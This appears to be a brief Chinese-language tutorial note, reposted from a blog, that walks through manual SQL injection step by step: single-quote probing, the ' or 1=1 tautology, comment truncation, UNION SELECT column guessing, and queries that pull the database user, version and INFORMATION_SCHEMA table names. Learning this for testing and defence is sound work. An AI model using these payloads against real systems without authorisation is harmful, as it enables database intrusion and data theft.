sql注入

1.输入框中输入单引号，报数据库语法错误，说明可以进行sql注入。

2.输入框中输入单引号加或恒成立条件，例如：‘ or 1=1  会查询到该表全部数据

3.输入：‘ or 1=1 --yangge  ‘  其中--后表示数据库的注释，--后的内容都不进入正式查询语句

4.使用union语句，例如输入: ‘ union select 1,2,3,4,  --

其中1,2,3,4用于猜测返回字段的个数，一个数字表示一个字段

5. ‘ union select user(),database(),version() --

其中user()为返回当前用户，database()为返回当前库名，version()为数据库版本

6. ‘ union select TABLE_SCHEMA,table_name from INFORMATION_SCHEMA.tables --

查询INFORMATION_SCHEMA库中的tables表中的库名和表名

sql注入

原文：https://www.cnblogs.com/jingzaixin/p/12367619.html